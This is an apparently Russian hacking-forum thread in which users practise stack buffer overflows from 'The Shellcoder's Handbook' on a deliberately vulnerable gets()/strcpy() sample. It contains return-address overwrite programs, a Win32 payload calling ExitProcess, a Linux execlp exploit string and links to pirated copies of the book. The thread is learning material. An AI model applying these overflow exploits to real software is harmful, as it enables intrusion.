Вопросы: buffer overflow

Discussion in 'Реверсинг' started by Qwazar, 7 Nov 2006.

  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Итак, купил вумную книжку "The Shellcoders Handbook: Discovering and Exploiting Security Holes". Пытаюсь разобраться с примерами из книжки на практике. Возникла проблема с первым же примером.

    PHP:
    void return_input()
    {
     
    char array[30];
     
    gets(array);
     
    printf("%s\n", array);
    }

    main()
    {
     
    return_input();
     return 
    0;
    }
    Хочу вызвать функцию return_input() дважды, при помощи gdb узнаю её адрес "0x8048594".

    Потом (если я прав), смотрю результат дизассемблирования функции return_input(), для того, чтобы понять сколько места резервируется в стеке, вижу:
    Code:
    0x08048594 <return_input+0>:    push   %ebp
    0x08048595 <return_input+1>:    mov    %esp,%ebp
    0x08048597 <return_input+3>:    sub    $0x28,%esp
    0x0804859a <return_input+6>:    sub    $0xc,%esp
    0x0804859d <return_input+9>:    lea    0xffffffd8(%ebp),%eax
    
    ....
    
    Если я прав, то мне нужно число 0x28 (40 в 10й системе) и к этому числу надо прибавить 8, для того чтобы переписать указатели ebp и eip. Или мне нужно (0x28+0xC)+8??

    В общем пишу программулинку, которая тупо переписывала бы адреса:
    PHP:
    main()
    {
     
    int i=0;
     
    char stuffing[48];
      
     for (
    i=0;i<=44;i+=4)
      *(
    long*)&stuffing[i] = 0x8048594;
      
    puts(stuffing);
    }
    В итоге когда её выход перенаправляю в уязвимую программу всё равно вижу "Segmentation fault (core dumped)".

    Смотрю состояние регистров, ebp переписался значением 0x8048594, а в eip лежит 0x1. Почему? Что я не так делаю?
     
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Я проверил. Если ввести 1111111111111111111111111111111111111234 это чудо природы падает с AccessViolation по адресу 0x34333231. Но это, вроде, не 40-й байт, а чуть раньше. Это байты 36-ой, 37-ой, 38-ой и 39-й (если считать с нуля).
    (Потрейсил ща олькой и убедился, что это и правда так. У тебя, правда, никсы, но вроде ничего меняться не должно тут)
     
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Даже в таком случае, как я понимаю, eip должен переписаться на нужное мне значение, т.к. я просто переписываю лишнее.
     
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Хм.. ну я составил шеллкод, который вырубает уязвимую программу. (под вин32)

    char shellcode[] = "111111111111111111111111111111111111\x34\xff\x13\x00" "\xe8\xa1\xce\x6d\x7c";

    0013FF34 - адрес места в стеке, сразу после этих четырех байт

    E8A1CE6D7C - код по адресу 0013FF34 - вызов ExitProcess:
    E8 A1CE6D7C CALL kernel32.ExitProcess
     
    2 people like this.
  5. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    а у кого нить в электронке есть эта книга?
     
  6. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    не было возможности скомпилить сабж, но думается, 4то ты увели4ивая размер входного переполяняемого буфера не только переполняешь его, перезвписав eip, но и затираешь данные, лежащие в кадре стека ниже, в 4ем и при4ина проблем
     
    1 person likes this.
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    хз, у меня все прекрасно работает. Переполняется локальный буфер, затирается адрес возврата (на ebp уже плевать) на адрес кода call ExitProcess.
    Работает на ура :)
    А разве перезапись других данных кадра стека может за собой повлечь такое изменение EIP? че-та я в твою мысль не врубил%)
     
  8. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    сплоит: 0000000000000000000000000000000000(Alt+251)(Alt+18)@
    Если у кого есть в электронном варианте скинте плиз, тоже интерестно почитать
     
  9. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Я б тоже почитал. Ни разу ее не видел
     
  10. Go0o$E

    Go0o$E Members of Antichat

    Joined:
    27 Jan 2006
    Messages:
    304
    Likes Received:
    228
    Reputations:
    419
    _http://slav0nic.xss.ru/books/hack_sec/THE%20SHELLCODER'S%20HANDBOOK.zip

    + сорсы к книге внутри.
     
    5 people like this.
  11. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    2Go0o$E, Спасибо, за книжку...

    Кстате немного поигрался, и вот что получилось :), это врядли было задуманно ;)
    1└PГь&PН|$$WWPИG∙ш4r-AAAAAAAhiddenN(Alt+255)(Alt+18)
     
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Хмм.. ну а как тогда узнать точно по дизассемблированной функции сколько места в стеке под массив резервируется?

    Code:
    0x08048597 <return_input+3>:    sub    $0x28,%esp
    
    Почему тут число 0x28 (40), а у вас получается 36 ? Откуда у меня берутся лишние 4 байта?

    Когда я начинаю переписывать с 36го байта по 40й, ни eip ни ebp не переписываются.

    И ещё вопрос, перенаправил вывод с програмки которая генерирует строку ввода в файл "(./a.out : cat) > 1.txt" В конце файла откудато взялись байты "01 0A", откуда они взялись?

    З.Ы.
    Книжку я купил на русском языке в магазине "буквоед" в Питере (рядом с м. Площадь Восстания за 830 руб), на озоне вроде тоже продаётся, но блин дорогая.
     
    #12 Qwazar, 8 Nov 2006
    Last edited: 8 Nov 2006
  13. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Ты знаешь, я не знаю откуда ты взял эти значения и темболее не понимяю, как ты помещаешь разницу константы и esp обратно в константу.
    Code:
    0x08048597 <return_input+3>:    sub    $0x28,%esp
    но наверно ты имеешь ввиду этот фрагмент
    Code:
    004012D4 >/$  55               [COLOR=Red]PUSH    EBP[/COLOR]
    004012D5  |.  89E5             MOV     EBP, ESP
    004012D7  |.  83EC 20          [COLOR=Red]SUB     ESP, 20[/COLOR]
    004012DA  |.  57               PUSH    EDI
    004012DB  |.  8D7D E2          LEA     EDI, DWORD PTR [EBP-1E]
    004012DE  |.  57               PUSH    EDI                              ; /s
    004012DF  |.  E8 145F0000      CALL    xxx._gets                        ; \_gets
    004012E4  |.  83C4 04          ADD     ESP, 4
    004012E7  |.  8D7D E2          LEA     EDI, DWORD PTR [EBP-1E]
    004012EA  |.  57               PUSH    EDI                              ; /<%s>
    004012EB  |.  68 A0A04000      PUSH    xxx.0040A0A0                     ; |format = "%s",LF,""
    004012F0  |.  E8 A75C0000      CALL    xxx._printf                      ; \_printf
    004012F5  |.  83C4 08          ADD     ESP, 8
    004012F8  |.  5F               POP     EDI
    004012F9  |.  C9               [COLOR=Lime]LEAVE[/COLOR]
    004012FA  \.  C3               RET
    в стек помещаются значения кратные 4, так что 30 округляется вперёд до 32(0x20), а вот потерянные 4 байта это какраз ebp, сохранённые в начале функции, которые в свою очередь убераются инструкцией LEAVE.
     
    2 people like this.
  14. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Хехе, это другая разновидность синтаксиса ассемблера (AT&T), а ты привык к синтаксису Intel.

    GDB поддерживает синтаксис AT&T, а OllyDbg синтаксис Intel. По сути sub $0x28,%esp в записи AT&T эквивалентно sub esp, 28 в Intel.

    В синтаксисе AT&T операнды пишутся как "источник, приёмник", а в Intel наоборот + есть ещё кое какие различия.
     
    1 person likes this.
  15. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    это синтаксис AT&T.
    хм. ну вроде так, угу

    поместить-то два байта можно в стек (PUSH BX, например), но нужно выравнивать стек по границе машинного слова (32бит)
     
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Прошу разъяснить мне на пальцах. Написал небольшую програмку на си

    Code:
    #include "stdio.h"
    
    void return_input (char *s) {
      char array[30];
      
      strcpy(array,s);
      printf("%s\n", array);
    }
    
    char text () {
      printf("text\n");
    }
    
    main ( int argc, char *argv[] ) {
      text();
      return_input(argv[1]);
      return 0;
    
    }
    
    И эксплоет
    Code:
    #include "stdlib.h"
    main () {
      char stuff[]= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x84\x04\x08";
      execlp("./bof","./bof",&stuff,NULL);
    }
    
    По адресу 0x08048496 у меня находится вызов функции text()
    Работает нормально, т.е вывод

    spyder@l33t:~/c> ./eip
    text
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??
    text

    Теперь хочу передать управление шеллкоду. Вот тут я немогу понять. Где то пишут что нужно передать управление коду jmp esp. Вопрос1 - Где мне взять его, система nix.
    Так же пишут что шеллкод нужно передавать сразу после адреса возврата или до него, заполняя остальное место в буфере нопами, в таком случае как узнать адрес куда мне нужно передать управление? Читал статьи, вникнуть немогу
    Заранее спасибо
     
    2 people like this.
  17. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    Cылка битая. Вот на русском http://letitbit.net/download/fd46de141051/iskustvo-vzloma-i-zashitu-system.rar.html